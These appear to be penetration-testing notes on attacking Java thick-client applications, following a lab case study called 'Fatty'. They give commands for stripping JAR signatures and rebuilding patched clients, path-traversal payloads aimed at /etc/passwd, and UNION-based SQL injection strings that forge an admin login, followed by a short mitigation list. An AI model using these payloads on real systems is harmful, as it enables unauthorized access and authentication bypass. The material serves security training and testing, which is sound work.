Exploiting Web Vulnerabilities in Thick-Client Applications
Thick client applications with three-tier architecture communicate with backend servers to access databases. This server communication introduces web-specific vulnerabilities (SQL injection, path traversal, XXE, etc.) that can be exploited despite the additional network layer.
Three-Tier Architecture Vulnerabilities
While three-tier architecture prevents direct database access, it introduces new attack surfaces:
Thick Client
β (May validate input)
Application Server
β (Vulnerable to web attacks)
Database Server
Key insight: Input validation on the client can be bypassed by modifying the client code, allowing unvalidated input to reach the server.
Reconnaissance: Configuration File Analysis
Identifying Backend Communications
Extract and analyze configuration files:
# Extract JAR file contents
jar xf application.jar
# Search for configuration files
find . -name "*.xml" -o -name "*.properties" -o -name "*.conf"
# Look for connection details
grep -r "host\|port\|server\|database" . --include="*.xml" --include="*.properties"
Spring Framework Configuration
Spring framework applications use XML configuration files (beans.xml) for dependency injection:
<!-- Connection configuration -->
<bean id="connectionContext" class="package.ConnectionContext">
<constructor-arg index="0" value="server.example.com"/>
<constructor-arg index="1" value="8080"/>
</bean>
<!-- Credentials and secrets -->
<bean id="secretHolder" class="package.SecretHolder">
<property name="secret" value="hardcodedsecret123"/>
</bean>
Extract sensitive data:
- Server hostnames and ports
- Hardcoded credentials
- API keys and secrets
- Encryption keys
Modifying Configuration Files
Change backend server address:
<!-- Original -->
<constructor-arg index="1" value="8000"/>
<!-- Modified (to intercept traffic) -->
<constructor-arg index="1" value="8080"/>
Update hosts file to redirect traffic:
# Windows: C:\Windows\System32\drivers\etc\hosts
10.10.10.1 server.example.com
# Linux: /etc/hosts
10.10.10.1 server.example.com
JAR File Modification & Signature Bypass
JAR Structure
application.jar
βββ META-INF/
β βββ MANIFEST.MF
β βββ 1.RSA (Digital signature)
β βββ 1.SF (Signature file)
β βββ maven/
βββ htb/
β βββ package/
β βββ Class.class
βββ config.properties
Signature Validation
Java applications verify JAR integrity using:
- SHA-256 hashes in MANIFEST.MF
- Digital signatures (1.RSA, 1.SF files)
Bypass Signature Validation
Step 1: Extract JAR contents
jar xf application.jar
Step 2: Modify files
Edit configuration files or decompiled classes.
Step 3: Remove signature files
rm META-INF/1.RSA
rm META-INF/1.SF
Step 4: Clear hash values from MANIFEST.MF
# Before
Name: htb/package/Class.class
SHA-256-Digest: abc123def456...
# After (remove all Name: and SHA-256-Digest entries)
Manifest-Version: 1.0
Main-Class: htb.package.Starter
Important: MANIFEST.MF must end with a newline character.
Step 5: Rebuild JAR
jar -cmf META-INF/MANIFEST.MF application-modified.jar *
Decompilation & Modification
Decompile using JD-GUI:
jd-gui application.jar
# Save all sources: Menu β Save All Sources
Modify source code:
Change hardcoded values, authentication logic, or API endpoints.
Recompile modified classes:
javac -cp application.jar ModifiedClass.java
Replace compiled class files:
# Extract original JAR to 'raw' directory
cp application.jar raw/
cd raw
jar xf application.jar
# Copy modified class files
cp ../ModifiedClass.class htb/package/ModifiedClass.class
# Rebuild
jar -cmf META-INF/MANIFEST.MF ../application-modified.jar *
Path Traversal Vulnerabilities
Case Study: File Browser Exploitation
Vulnerable code (server-side):
public String showFiles(String folder) {
// No validation on 'folder' parameter
File dir = new File("/opt/app/files/" + folder);
return listFiles(dir);
}
Exploitation:
-
Identify file path structure:
- Application shows files from:
/opt/app/files/notes/ - Target: Read files outside intended directory
- Application shows files from:
-
Craft path traversal payload:
../../../../../../etc/passwd ../../../sensitive.txt -
Modify client code to send traversal:
Original code in
ClientGuiTest.java:response = invoker.showFiles("notes");Modified code:
response = invoker.showFiles("../../../"); -
Filter bypass:
If server filters
/character:..\\..\\..\\etc\\passwd (Windows) ..%2f..%2f..%2fetc%2fpasswd (URL encoding) -
Download sensitive files:
Modify
open()function to save files:public String open(String folder, String filename) { // ... send request ... byte[] content = response.getContent(); FileOutputStream fos = new FileOutputStream( System.getProperty("user.home") + "/Desktop/" + filename); fos.write(content); fos.close(); return "File saved to desktop"; }
SQL Injection Attacks
Vulnerable Pattern
Server-side code:
rs = stmt.executeQuery(
"SELECT id,username,email,password,role FROM users " +
"WHERE username='" + user.getUsername() + "'"
);
Vulnerability: Username is directly concatenated into SQL query without sanitization.
Exploitation Technique: UNION-Based Injection
Normal query:
SELECT id,username,email,password,role FROM users
WHERE username='qtc'
UNION injection payload:
SELECT id,username,email,password,role FROM users
WHERE username='admin' UNION SELECT 1,'hacker','h@ck.com','mypass','admin'
Result: Server returns fake user entry with controlled password and admin role.
Bypassing Client-Side Hashing
Client-side password processing:
public void setPassword(String password) {
String hashString = username + password + "clarabibisecret";
MessageDigest digest = MessageDigest.getInstance("SHA-256");
byte[] hash = digest.digest(hashString.getBytes());
this.password = DatatypeConverter.printHexString(hash);
}
Problem: Password is hashed using username, making standard SQL injection impossible.
Solution: Modify client code to send plaintext password.
Modified code:
public void setPassword(String password) {
// Send plaintext instead of hash
this.password = password;
}
Now SQL injection works:
username = "admin' UNION SELECT 1,'attacker','a@b.com','plainpass','admin"
password = "plainpass"
Resulting SQL query:
SELECT id,username,email,password,role FROM users
WHERE username='admin' UNION SELECT 1,'attacker','a@b.com','plainpass','admin'
Authentication logic:
// Query returns attacker's fake record
if (retrievedPassword.equals(suppliedPassword)) {
return loginSuccess();
}
Since both are plaintext and match, login succeeds with admin privileges.
Error-Based SQL Injection
Extract information from error messages:
Vulnerable code:
try {
rs = stmt.executeQuery(query);
} catch (SQLException e) {
logger.logError("Failure with SQL query: ==> " + query);
logger.logError("Exception: " + e.getMessage());
}
Exploit:
-
Trigger SQL error with invalid syntax:
username: qtc' (incomplete quote) -
Check error logs for:
- Database version
- Table/column names
- Query structure
-
Use information for crafted UNION injections
Complete Attack Scenario: Fatty Client Case Study
Step 1: Discover Configuration
Find port configuration:
strings fatty-client.jar | grep -i "port\|host"
# Output: server.fatty.htb, 8000
Extract JAR and modify beans.xml:
<constructor-arg index="1" value="1337"/> <!-- Changed from 8000 -->
Step 2: Bypass Signature Validation
# Remove signature files
rm META-INF/1.RSA META-INF/1.SF
# Clear MANIFEST.MF hash values
cat > META-INF/MANIFEST.MF << 'EOF'
Manifest-Version: 1.0
Main-Class: htb.fatty.client.run.Starter
EOF
# Rebuild JAR
jar -cmf META-INF/MANIFEST.MF fatty-client-mod.jar *
Step 3: Exploit Path Traversal
Decompile and modify ClientGuiTest.java:
// Original
response = invoker.showFiles("configs");
// Modified
response = invoker.showFiles("../");
Rebuild and deploy modified JAR.
Result: Access parent directories and find fatty-server.jar.
Step 4: Download Server Application
Modify Invoker.java open() function:
public String open(String folder, String filename) {
this.action = new ActionMessage(this.sessionID, "open");
this.action.addArgument(folder);
this.action.addArgument(filename);
sendAndRecv();
// Download file to desktop
String desktopPath = System.getProperty("user.home") +
"\\Desktop\\" + filename;
FileOutputStream fos = new FileOutputStream(desktopPath);
byte[] content = this.response.getContent();
fos.write(content);
fos.close();
return "File saved to " + desktopPath;
}
Step 5: Analyze Server Application
Decompile fatty-server.jar using JD-GUI.
Find vulnerable login code in FattyDbSession.class:
rs = stmt.executeQuery(
"SELECT id,username,email,password,role FROM users " +
"WHERE username='" + user.getUsername() + "'"
);
Step 6: Craft SQL Injection Payload
Modify User.java to send plaintext password:
public void setPassword(String password) {
this.password = password; // Don't hash
}
Rebuild fatty-client with modified code.
Login payload:
- Username:
test' UNION SELECT 1,'hacker','h@ck.com','pass123','admin - Password:
pass123
Result: Login as admin user.
Common Vulnerable Patterns
| Pattern | Vulnerability | Risk |
|---|---|---|
| String concatenation in SQL | SQL Injection | CRITICAL |
| Direct file path concatenation | Path Traversal | HIGH |
| Client-side validation only | Authentication bypass | CRITICAL |
| Hardcoded credentials | Credential theft | CRITICAL |
| No signature validation | Code modification | HIGH |
| Error messages show SQL | Information disclosure | MEDIUM |
| Unencrypted backend communication | MITM attacks | HIGH |
Testing Methodology
-
Extract and analyze configuration files
- Find server addresses and ports
- Identify authentication mechanism
- Note hardcoded secrets
-
Modify JAR files
- Decompile using JD-GUI
- Identify vulnerable functions
- Modify code to remove validation
-
Test for input validation bypasses
- Path traversal
- SQL injection
- Command injection
-
Escalate privileges
- Modify role assignments
- Create admin users
- Bypass authentication
-
Download sensitive files
- Extract server applications
- Access database files
- Retrieve configuration
Assessment Checklist
- Extract JAR/EXE files and analyze configuration
- Identify backend server and port
- Check for signature validation
- Decompile and review authentication code
- Test for path traversal vulnerabilities
- Test for SQL injection in login and queries
- Attempt to bypass client-side validation
- Modify client code and rebuild application
- Craft privilege escalation payloads
- Download and analyze server components
- Document all modifications and payloads
Mitigation Strategies
For developers:
- Input validation: Sanitize and validate all user input
- Parameterized queries: Use prepared statements for SQL
- Code signing: Properly sign and validate JARs
- Server-side validation: Never trust client-side checks
- Encryption: Encrypt sensitive data in transit and at rest
- Error handling: Donβt expose SQL errors to users
- Access control: Implement role-based access on server
- Logging: Log and monitor suspicious activities